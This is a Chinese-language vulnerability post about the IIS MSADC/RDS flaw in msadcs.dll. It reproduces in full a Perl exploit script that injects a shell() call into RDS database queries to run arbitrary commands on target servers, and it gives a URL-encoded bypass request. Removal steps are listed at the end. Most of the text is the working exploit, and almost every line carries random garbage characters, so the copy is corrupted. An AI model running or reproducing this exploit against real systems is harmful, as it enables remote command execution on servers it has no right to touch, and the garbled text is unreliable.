IIS的漏洞(威胁NT之三招穿墙手) (MS,缺陷)
sd[QtK^ kH&ZP AI 涉及程序：
fjWh}w8 Microsoft NT server
gNqV>p 2 YN` :" 描述：
'.K,EM!-~h 1个NT的重大漏洞造成全世界大约1/4的NT server可以被入侵者获取最高权限
Wl#^Eu\g1W {;4PP463 详细：
q9
;\ B& 如果你没有时间读详细内容的话，就删除:
b;t]k9:"L c:\Program Files\Common Files\System\Msadc\msadcs.dll
.HQ<6k:
有关的安全问题就没有了。
og\XLJ}_ gPwp
[ 微软对关于Msadc的问题发了三次以上的补丁，仍然存在问题。
v)d0MxSC 2 T3DV])Q 1、第一次补丁，基本上，其安全问题是MS Jet 3.5造成的，它允许调用VBA shell()函数，这将允许入侵者远程运行shell指令。
MJG%HakK0 关于利用ODBC远程漏洞的描述，请参看:
5i^vN"J (Z$6J Nkz http://www.cnns.net/frankie/mirror/nttoolz/ntpipe.htm %8*d)AB: ]T51;j'48 2、IIS 4.0的缺省安装设置的是MDAC1.5，这个安装下有一个/msadc/msadcs.dll的文件，也允许通过web远程访问ODBC，获取系统的控制权，这点在很多黑客论坛都讨论过，请参看
$McO'Bye{h http://www.microsoft.com/security/bulletins/MS99-025faq.asp ' i(p@m<' Qwa"AY 5pW 这里不再论述。
?8, N4T0) +wUhB\F
* 3、如果web目录下的/msadc/msadcs.dll/可以访问，那么ms的任何补丁可能都没用，用类似:
'sF563kE d>`(.qvxR /%6Dsadc/%6Dsadcs.dll/V%62BusO%62j.V%62BusO%62jCls.GetRecordset
if}]8 的请求，就可以绕过安全机制进行非法的VbBusObj请求，从而达到入侵的目的。 下面的代码仅供测试，严禁用于非法用途，否则后果自负!!!
Q#Y3%WF H n!vTB ~1'468 #将下面这段保存为txt文件，然后: "perl -x 文件名"
U9 5 9=e ;iORfUjxrq #!perl
K D-_~uIF #
-(uB TO s # MSADC/RDS 'usage' (aka exploit) script
BLH=:zb5 #
:'dc=C # by rain.forest.puppy
X}-H=1T? #
l1)pr{A # Many thanks to Weld, Mudge, and Dildog from l0pht for helping me
Qyjuzfmz # beta test and find errors!
N 9&@,3 :b ;1P@W< use Socket; use Getopt::Std;
CCY|FK getopts("e:vd:h:XR", \%args);
x!~OK::o8 "J5Pwvs- print "-- RDS exploit by rain forest puppy / ADM / Wiretrip --\n";
GF !{SO4 GnOo+hB if (!defined $args{h} && !defined $args{R}) {
W`'|&7~ print qq~
V
3]p3 Usage: msadc.pl -h <host> { -d <delay> -X -v }
WHZng QmY -h <host> = host you want to scan (ip or domain)
tKeO+6 l -d <seconds> = delay between calls, default 1 second
Qg>GW -X = dump Index Server path table, if available
j_yFH#^W: -v = verbose
y:OywIi( -e = external dictionary file for step 5
W{+0i AYnp Ql@yN@V Or a -R will resume a command session
$M`;." sYA-FO3gh ~; exit;}
'T rrOq4 G
r|@CZq $ip=$args{h}; $clen=0; $reqlen=0; $|=1; $target="";
I=%sDn if (defined $args{v}) { $verbose=1; } else {$verbose=0;}
mY 8=qkZE if (defined $args{d}) { $delay=$args{d};} else {$delay=1;}
>ij4z
N if(!defined $args{R}){ $ip.="." if ($ip=~/[a-z]$/);
Cj1UD; $target= inet_aton($ip) || die("inet_aton problems; host doesn't exist?");}
B ^(rU R if (defined $args{X} && !defined $args{R}) { &hork_idx; exit; }
$ l;tP ,A!e"=HF if (!defined $args{R}){ $ret = &has_msadc;
b<(UmRxx3 die("Looks like msadcs.dll doesn't exist\n")if $ret==0}
% B &?D@ ePpK+E[0Z print "Please type the NT commandline you want to run (cmd /c assumed):\n"
~9 WJrRWB . "cmd /c ";
,Q#tA|:8j $in=<STDIN>; chomp $in;
/Z "
4[ $command="cmd /c " . $in ;
/C"s_:m;3 D
Ok^ON if (defined $args{R}) {&load; exit;}
aaug u.9 ]A]E)* print "\nStep 1: Trying raw driver to btcustmr.mdb\n";
70
UgK E &try_btcustmr;
RpK,ixbtA+ 7 3z
Y^ x print "\nStep 2: Trying to make our own DSN...";
9H} iX0O &make_dsn ? print "<<success>>\n" : print "<<fail>>\n";
~}0hN]*G K^vp(2 print "\nStep 3: Trying known DSNs...";
-mHhB(Td' &known_dsn;
[a)~Dui0@\ /Tf*d>Yh; print "\nStep 4: Trying known .mdbs...";
pt cLJ]+) &known_mdb;
:5K ~/=6x f76| if (defined $args{e}){
CotMV^ print "\nStep 5: Trying dictionary of DSN names...";
Z)O>h^0 &dsn_dict; } else { "\nNo -e; Step 5 skipped.\n\n"; }
A%*DQ1N R, w54}, print "Sorry Charley...maybe next time?\n";
}Q=se[(( exit;
Z c3:9 c^Gwri4 ##############################################################################
, q@(L ms\/= 96F sub sendraw { # ripped and modded from whisker
ar
qLp| sleep($delay); # it's a DoS on the server! At least on mine...
#or oY.o my ($pstr)=@_;
!bV(VRbu socket(S,PF_INET,SOCK_STREAM,getprotobyname('tcp')||0) ||
i)= 89?8 die("Socket problems\n");
7x7r!rSe, if(connect(S,pack "SnA4x8",2,80,$target)){
@
U8}sH ^ select(S); $|=1;
`? o1cf A
print $pstr; my @in=<S>;
l&sO?P[ / select(STDOUT); close(S);
4f u\3A& return @in;
~sHZh } else { die("Can't connect...\n"); }}
&]yJCzo] 7YXXkdgbd ##############################################################################
ul=a\;3x#| LB*# sub make_header { # make the HTTP request
BQul iX& my $msadc=<<EOT
=7]Q6h@X POST /msadc/msadcs.dll/AdvancedDataFactory.Query HTTP/1.1
gj egzKU User-Agent: ACTIVEDATA
.xz,pn} Host: $ip
rI^ ~9Rz Content-Length: $clen
t2 -nCRXEP Connection: Keep-Alive
P$6f +{ i3 l #~ ADCClientVersion:01.06
&X]=Q pl Content-Type: multipart/mixed; boundary=!ADM!ROX!YOUR!WORLD!; num-args=3
[rUh;_b\D Z:o
86~su --!ADM!ROX!YOUR!WORLD!
/romTK4 Content-Type: application/x-varg
kJ vy<(iG Content-Length: $reqlen
b ?2X>QJ \;B$hT7z* EOT
sPE)m_u ; $msadc=~s/\n/\r\n/g;
K* _{Rs0P return $msadc;}
_5U%'\5s >0<KkBH ##############################################################################
S1az3VJI\ cJHABdK- sub make_req { # make the RDS request
}* B qi7E> my ($switch, $p1, $p2)=@_;
KXx@
{cv my $req=""; my $t1, $t2, $query, $dsn;
P Q &Q71 / 8WpX if ($switch==1){ # this is the btcustmr.mdb query
DUuC3^R $query="Select * from Customers where City=" . make_shell();
{glqWFT $dsn="driver={Microsoft Access Driver (*.mdb)};dbq=" .
A"BtVy[[9 $p1 . ":\\" . $p2 . "\\help\\iis\\htm\\tutorial\\btcustmr.mdb;";}
V6z@"+ wHt#'`5 elsif ($switch==2){ # this is general make table query
uzVG q!'H $query="create table AZZ (B int, C varchar(10))";
I_zk' $dsn="$p1";}
{+/
.5 !rsa4t@ t elsif ($switch==3){ # this is general exploit table query
|?2 hml $query="select * from AZZ where C=" . make_shell();
i!.I;@ $dsn="$p1";}
W lr&g
xZ h=K36a) elsif ($switch==4){ # attempt to hork file info from index server
% Vw|5yA4 $query="select path from scope()";
BDm88< ] $dsn="Provider=MSIDXS;";}
[V2omSZo ~E<PtDab elsif ($switch==5){ # bad query
GTp?)nh^ $query="select";
^EC)~HP@C $dsn="$p1";}
`b Z 2x@ :tjgg] $t1= make_unicode($query);
jHu,u|e0>S $t2= make_unicode($dsn);
E~<(i' : $req = "\x02\x00\x03\x00";
d-ag $req.= "\x08\x00" . pack ("S1", length($t1));
un$ Z7W/ $req.= "\x00\x00" . $t1 ;
T1Gp$l $req.= "\x08\x00" . pack ("S1", length($t2));
GCP {Z]u $req.= "\x00\x00" . $t2 ;
[xZ/ZWb/ $req.="\r\n--!ADM!ROX!YOUR!WORLD!--\r\n";
SG
dfhno; return $req;}
y~== waZw 2,8/Cb ##############################################################################
*l> [`U+ ;T5,T sub make_shell { # this makes the shell() statement
6Q.{llO return "'|shell(\"$command\")|'";}
wO2V%v^bp ,c ,Xd ##############################################################################
RV0>-@/x z)58\rtz sub make_unicode { # quick little function to convert to unicode
H-/; l5 4E my ($in)=@_; my $out;
6m, KL5>W for ($c=0; $c < length($in); $c++) { $out.=substr($in,$c,1) . "\x00"; }
[]A" ]p return $out;}
]k ::J>84 ?AeHVQ
:C ##############################################################################
PwFQ #Z zp7V\W;
& sub rdo_success { # checks for RDO return success (this is kludge)
Sc;iAi
( my (@in) = @_; my $base=content_start(@in);
Ie G7@ if($in[$base]=~/multipart\/mixed/){
_DPB?)!x return 1 if( $in[$base+10]=~/^\x09\x00/ );}
e5qrQwU return 0;}
i ll-%OPeg P3>..fhoW ##############################################################################
h`
irO 5 tr6jh=
sub make_dsn { # this makes a DSN for us
3W7;f! my @drives=("c","d","e","f");
TIc d
_>TW print "\nMaking DSN: ";
*3A3>Rwu foreach $drive (@drives) {
dWsT Jyx~ print "$drive: ";
E^Q@9C<! d my @results=sendraw("GET /scripts/tools/newdsn.exe?driver=Microsoft\%2B" .
~-XOvKJb "Access\%2BDriver\%2B\%28*.mdb\%29\&dsn=wicca\&dbq="
YMc8 Q\*B . $drive . "\%3A\%5Csys.mdb\&newdb=CREATE_DB\&attr= HTTP/1.0\n\n");
X+]L-o6I2 $results[0]=~m#HTTP\/([0-9\.]+) ([0-9]+) ([^\n]*)#;
rao</jN.9 return 0 if $2 eq "404"; # not found/doesn't exist
[,OJX
N-4s if($2 eq "200") {
W]@gQ (Ef foreach $line (@results) {
iGG6Myp- return 1 if $line=~/<H2>Datasource creation successful<\/H2>/;}}
_u:>1] } return 0;}
Qqd6.F `3 f_d}b ##############################################################################
-Z:]<;qU U0NOU# sub verify_exists {
w)45SZ. my ($page)=@_;
Vk MinE my @results=sendraw("GET $page HTTP/1.0\n\n");
{Oy9RES qc return $results[0];}
JP{UgcaF ES^>[2Y ##############################################################################
;j>*;Q` 0lX) C l sub try_btcustmr {
e$CePLEj my @drives=("c","d","e","f");
%v5)s(Yu my @dirs=("winnt","winnt35","winnt351","win","windows");
vVI6m{zYV j2R RSz&9 foreach $dir (@dirs) {
38[)[{G)Hv print "$dir -> "; # fun status so you can see progress
cvZni#o2) foreach $drive (@drives) {
bjPka{PBj print "$drive: "; # ditto
K^"w]ii= $reqlen=length( make_req(1,$drive,$dir) ) - 28;
mND XzT& $reqlenlen=length( "$reqlen" );
YS]>_ $clen= 206 + $reqlenlen + $reqlen;
EKqi+T^=F Z} c'Bm( my @results=sendraw(make_header() . make_req(1,$drive,$dir));
_LJ5o_-N if (rdo_success(@results)){print "Success!\n";save(1,1,$drive,$dir);exit;}
uY.=4l else { verbose(odbc_error(@results)); funky(@results);}} print "\n";}}
v#RW{kI cqeR<len ##############################################################################
/SnynZ.q :|Z$3q sub odbc_error {
R;H?gE^m- my (@in)=@_; my $base;
g d z my $base = content_start(@in);
aRbx if($in[$base]=~/application\/x-varg/){ # it *SHOULD* be this
lkV6qIj $in[$base+4]=~s/[^a-zA-Z0-9 \[\]\:\/\\'\(\)]//g;
"e~k-\ ^Y $in[$base+5]=~s/[^a-zA-Z0-9 \[\]\:\/\\'\(\)]//g;
S3SV.C:z> $in[$base+6]=~s/[^a-zA-Z0-9 \[\]\:\/\\'\(\)]//g;
'I&|1I^ return $in[$base+4].$in[$base+5].$in[$base+6];}
|J:$MX~ print "\nNON-STANDARD error. Please sent this info to rfp\@wiretrip.net:\n";
RS'} nY} print "$in : " . $in[$base] . $in[$base+1] . $in[$base+2] . $in[$base+3] .
c vKV95bn $in[$base+4] . $in[$base+5] . $in[$base+6]; exit;}
1s Br.+p -u6}T! ##############################################################################
dSwm|kIa 3rxo,pX94 sub verbose {
.2e1S{ 9 my ($in)=@_;
/@Ez" ?V2 return if !$verbose;
OQ6sv/ print STDOUT "\n$in\n";}
3DH.4@7P d 4%dIR) ##############################################################################
,
Hn7(^t f Gb7=Fk sub save {
pFpZb U^ my ($p1, $p2, $p3, $p4)=@_;
Kaf> open(OUT, ">rds.save") || print "Problem saving parameters...\n";
N;<//, print OUT "$ip\n$p1\n$p2\n$p3\n$p4\n";
IeVLn^?+: close OUT;}
, 7Xqte cFLd)mt/ ##############################################################################
Mec{_jiH&D kGm:VYf% sub load {
DR6]-j!FK my @p; my $drvst="driver={Microsoft Access Driver (*.mdb)}; dbq=";
iSlFRv?a open(IN,"<rds.save") || die("Couldn't open rds.save\n");
W}>=JoN^J @p=<IN>; close(IN);
T j`y J!0 $ip="$p[0]"; $ip=~s/\n//g; $ip.="." if ($ip=~/[a-z]$/);
Y~az!8j;Z $target= inet_aton($ip) || die("inet_aton problems");
N0Gf0 i> print "Resuming to $ip ...";
[G a~%m $p[3]="$p[3]"; $p[3]=~s/\n//g; $p[4]="$p[4]"; $p[4]=~s/\n//g;
@44P4?; if($p[1]==1) {
@F?=a*s"! $reqlen=length( make_req(1,"$p[3]","$p[4]") ) - 28;
CN/IH $reqlenlen=length( "$reqlen" ); $clen= 206 + $reqlenlen + $reqlen;
|1"!k A my @results=sendraw(make_header() . make_req(1,"$p[3]","$p[4]"));
2/@D7>F&g if (rdo_success(@results)){print "Success!\n";}
GQx9u ^> else { print "failed\n"; verbose(odbc_error(@results));}}
>dk 9f}7- elsif ($p[1]==3){
]NtSu%u if(run_query("$p[3]")){
JvkL37^ n: print "Success!\n";} else { print "failed\n"; }}
YdI0E elsif ($p[1]==4){
kM!V .e[ g if(run_query($drvst . "$p[3]")){
1kmQX+f print "Success!\n"; } else { print "failed\n"; }}
W/r^ugDV exit;}
[?KJ 9 ~+0 b{RqwV5P ##############################################################################
fYBH)E YUscz!rM sub create_table {
2zK"*7b? my ($in)=@_;
&x 0C4Kh $reqlen=length( make_req(2,$in,"") ) - 28;
f7J,&<<5w $reqlenlen=length( "$reqlen" );
iITp**l $clen= 206 + $reqlenlen + $reqlen;
C0fmmI0z~ my @results=sendraw(make_header() . make_req(2,$in,""));
Qw?+!-7TN return 1 if rdo_success(@results);
w(B H247` my $temp= odbc_error(@results); verbose($temp);
A62<]R)n return 1 if $temp=~/Table 'AZZ' already exists/;
nJJs% @y return 0;}
cXN _*% 1zjaR4Tf ##############################################################################
MdC<4^| z/1{ OL sub known_dsn {
EA|k5W*b # we want 'wicca' first, because if step 2 made the DSN, it's ready to go
(R'+jWH my @dsns=("wicca", "AdvWorks", "pubs", "CertSvr", "CFApplications",
Fk1.iRVzi "cfexamples", "CFForums", "CFRealm", "cfsnippets", "UAM",
|;u}sX1t9 "banner", "banners", "ads", "ADCDemo", "ADCTest");
s -k_d < z<pJYpxH foreach $dSn (@dsns) {
\cQ .|S print ".";
R#(G%66
next if (!is_access("DSN=$dSn"));
4DLq}v if(create_table("DSN=$dSn")){
zX kx7d8 print "$dSn successful\n";
Sdd9Dv?! if(run_query("DSN=$dSn")){
3]U]?h print "Success!\n"; save (3,3,"DSN=$dSn",""); exit; } else {
by86zX print "Something's borked. Use verbose next time\n";}}} print "\n";}
1$ML #5+, hazq#J! ##############################################################################
Pl+xH%U+? 6:? rlh sub is_access {
)"`!AerJ my ($in)=@_;
4:mCXP,x $reqlen=length( make_req(5,$in,"") ) - 28;
kIvvEh<L= $reqlenlen=length( "$reqlen" );
<\@ 1Zz@ms $clen= 206 + $reqlenlen + $reqlen;
}B q^3?,#{ my @results=sendraw(make_header() . make_req(5,$in,""));
^Y04qe Rd my $temp= odbc_error(@results);
T&xt` | verbose($temp); return 1 if ($temp=~/Microsoft Access/);
MJ\[ Dt return 0;}
G K{ { 7B E'c%d[:H, ##############################################################################
; =jr0\| e &|5GB3H = sub run_query {
},c,30V' my ($in)=@_;
#
| ^^K!% $reqlen=length( make_req(3,$in,"") ) - 28;
Cd]/ $reqlenlen=length( "$reqlen" );
GBP-V66 $clen= 206 + $reqlenlen + $reqlen;
._ CP%
R my @results=sendraw(make_header() . make_req(3,$in,""));
<7n]Ai@Y return 1 if rdo_success(@results);
1H{jy^sP 7 my $temp= odbc_error(@results); verbose($temp);
R$m`Z+/@ return 0;}
iOqk*EL_r\ 7Kf}O6nE ##############################################################################
(~s|=Hxq|- f9TV%fG? sub known_mdb {
& ,L9O U my @drives=("c","d","e","f","g");
! gP0ndRJ= my @dirs=("winnt","winnt35","winnt351","win","windows");
Z$'I Bv my $dir, $drive, $mdb;
]gEhE my $drv="driver={Microsoft Access Driver (*.mdb)}; dbq=";
$-vo}k%M . L;@=Yg ) # this is sparse, because I don't know of many
,EEPh>cXc my @sysmdbs=( "\\catroot\\icatalog.mdb",
}$g mK "\\help\\iishelp\\iis\\htm\\tutorial\\eecustmr.mdb",
M> l^%` "\\system32\\certmdb.mdb",
N.j
"S'(i "\\system32\\certlog\\certsrv.mdb" ); #these are %systemroot%
|(% u}V? XnUO*v^] my @mdbs=( "\\cfusion\\cfapps\\cfappman\\data\\applications.mdb",
`v n J4 * "\\cfusion\\cfapps\\forums\\forums_.mdb",
~]uZy=P? 5 "\\cfusion\\cfapps\\forums\\data\\forums.mdb",
D>sYPrf "\\cfusion\\cfapps\\security\\realm_.mdb",
.g% Y@r)=5 "\\cfusion\\cfapps\\security\\data\\realm.mdb",
vtxvS3
"\\cfusion\\database\\cfexamples.mdb",
|L:Cn J "\\cfusion\\database\\cfsnippets.mdb",
1 W'F3 "\\inetpub\\iissamples\\sdk\\asp\\database\\authors.mdb",
oq;'eM1 ,. "\\progra~1\\common~1\\system\\msadc\\samples\\advworks.mdb",
Ya Y8 `M{ "\\cfusion\\brighttiger\\database\\cleam.mdb",
{C Uk1 + "\\cfusion\\database\\smpolicy.mdb",
l1 +[ "\\cfusion\\database\cypress.mdb",
$ .K?N@(W "\\progra~1\\ableco~1\\ablecommerce\\databases\\acb2_main1.mdb",
P7GRSjG "\\website\\cgi-win\\dbsample.mdb",
-_8*41 "\\perl\\prk\\bookexamples\\modsamp\\database\\contact.mdb",
?o[L7JI "\\perl\\prk\\bookexamples\\utilsamp\\data\\access\\prk.mdb"
lDc;__}Ws ); #these are just
. (`3JQ2s foreach $drive (@drives) {
r;qzo . foreach $dir (@dirs){
p!W[X%`) foreach $mdb (@sysmdbs) {
z?ucIsbR print ".";
y' x F0 if(create_table($drv . $drive . ":\\" . $dir . $mdb)){
@q8an print "\n" . $drive . ":\\" . $dir . $mdb . " successful\n";
!3}deY8;# if(run_query($drv . $drive . ":\\" . $dir . $mdb)){
>HTbegi print "Success!\n"; save (4,4,$drive . ":\\" . $dir . $mdb,""); exit;
I cF@F>> } else { print "Something's borked. Use verbose next time\n"; }}}}}
8 5 ]SC$ :tGYs8UK foreach $drive (@drives) {
g]$
4~"|. foreach $mdb (@mdbs) {
< {r u|-9 print ".";
K5"sj|d& if(create_table($drv . $drive . $dir . $mdb)){
3|kg TB- print "\n" . $drive . $dir . $mdb . " successful\n";
'Bq ZOZw if(run_query($drv . $drive . $dir . $mdb)){
p1O6+ hRio print "Success!\n"; save (4,4,$drive . $dir . $mdb,""); exit;
q<{NO/Mm } else { print "Something's borked. Use verbose next time\n"; }}}}
+=3CL2{A n }
H[Weu 6yIvaY$KR ##############################################################################
n2ndjE$ 0SV \{]2 sub hork_idx {
[Ot,q/hBJ print "\nAttempting to dump Index Server tables...\n";
3]LN;s]ac print " NOTE: Sometimes this takes a while, other times it stalls\n\n";
JW+ *d`8Z[ $reqlen=length( make_req(4,"","") ) - 28;
(> "QVxr $reqlenlen=length( "$reqlen" );
^toAw8A=@0 $clen= 206 + $reqlenlen + $reqlen;
:FQ1[X1 xm my @results=sendraw2(make_header() . make_req(4,"",""));
XZph%j0o if (rdo_success(@results)){
sbsu(Sz+ my $max=@results; my $c; my %d;
V 1bh|+o9 for($c=19; $c<$max; $c++){
|V&G81sM $results[$c]=~s/\x00//g;
1dG06 <! $results[$c]=~s/[^a-zA-Z0-9:~ \\\._]{1,40}/\n/g;
TI9 X.E? $results[$c]=~s/[^a-zA-Z0-9:~ \\\._\n]//g;
z,Lzgh $results[$c]=~/([a-zA-Z]\:\\)([a-zA-Z0-9 _~\\]+)\\/;
WeT* C $d{"$1$2"}="";}
M}F~_S0h foreach $c (keys %d){ print "$c\n"; }
}ot"Sx\. } else {print "Index server doesn't seem to be installed.\n"; }}
d@kc[WLD^ F JS'G^ ##############################################################################
pP/ @ ')#,X^
sub dsn_dict {
,=%nw ]: open(IN, "<$args{e}") || die("Can't open external dictionary\n");
}Uw#f@Wh while(<IN>){
>bm|%Ou" $hold=$_; $hold=~s/[\r\n]//g; $dSn="$hold"; print ".";
Ewo~9
4{ next if (!is_access("DSN=$dSn"));
1]OSWCEm*[ if(create_table("DSN=$dSn")){
UuJjO^t print "$dSn successful\n";
*^X bDg9 if(run_query("DSN=$dSn")){
(GU9p>2 print "Success!\n"; save (3,3,"DSN=$dSn",""); exit; } else {
lAA SV{s{ print "Something's borked. Use verbose next time\n";}}}
%w"nDu2Gcv print "\n"; close(IN);}
)ly
^Ox g`,AaWlF ##############################################################################
;Ss$2V'a y { =NP sub sendraw2 { # ripped and modded from whisker
d#_m.j sleep($delay); # it's a DoS on the server! At least on mine...
/g.]RY+u|x my ($pstr)=@_;
Tj/GClD:% socket(S,PF_INET,SOCK_STREAM,getprotobyname('tcp')||0) ||
;!u;!F!i die("Socket problems\n");
G*n2Ii if(connect(S,pack "SnA4x8",2,80,$target)){
:Ml7G print "Connected. Getting data";
vK $^y^ open(OUT,">raw.out"); my @in;
f} K`Jm_}? select(S); $|=1; print $pstr;
l I-p_K while(<S>){ print OUT $_; push @in, $_; print STDOUT ".";}
=nxKttmU0 close(OUT); select(STDOUT); close(S); return @in;
_a
-]?R } else { die("Can't connect...\n"); }}
{B V4h%P]: XB\zkf_}Xc ##############################################################################
6Z! y 'ZHdV,dd sub content_start { # this will take in the server headers
; st\I my (@in)=@_; my $c;
u?0d[mC for ($c=1;$c<500;$c++) {
O.+9,4A( if($in[$c] =~/^\x0d\x0a/){
$RO$}! if ($in[$c+1]=~/^HTTP\/1.[01] [12]00/) { $c++; }
trYTs,KV else { return $c+1; }}}
z'MS#6|} return -1;} # it should never get here actually
?b:_AO& ?9KGnOVu ##############################################################################
*e4TSqC| t&RruwN_; sub funky {
O!F] ^'! my (@in)=@_; my $error=odbc_error(@in);
*"9<TSU%m if($error=~/ADO could not find the specified provider/){
_%pAlo_6 print "\nServer returned an ADO miscofiguration message\nAborting.\n";
4<v;1
exit;}
u<Xog$esu if($error=~/A Handler is required/){
H~fdbR print "\nServer has custom handler filters (they most likely are patched)\n";
.5Z_E
O exit;}
/L~m#HxWU if($error=~/specified Handler has denied Access/){
hC<14 print "\nServer has custom handler filters (they most likely are patched)\n";
Q:o 7G|C exit;}}
:`W|h E^ zVaCXNcbo ##############################################################################
2@i;_3sv cyF4iG'M,y sub has_msadc {
3Sh+u> w my @results=sendraw("GET /msadc/msadcs.dll HTTP/1.0\n\n");
SI-X[x f my $base=content_start(@results);
eBcJm return 1 if($results[$base]=~/Content-Type: application\/x-varg/);
l5O=VqCj return 0;}
o /p-! F[E? A95W ########################
%$mjJw<|& kBsXfVs9 nX5C< Ky 解决方案：
v5$s#f< 1、移除c:\Program Files\Common Files\System\Msadc\msadcs.dll
x>3@R0A 1: 2、移除web 目录: /msadc
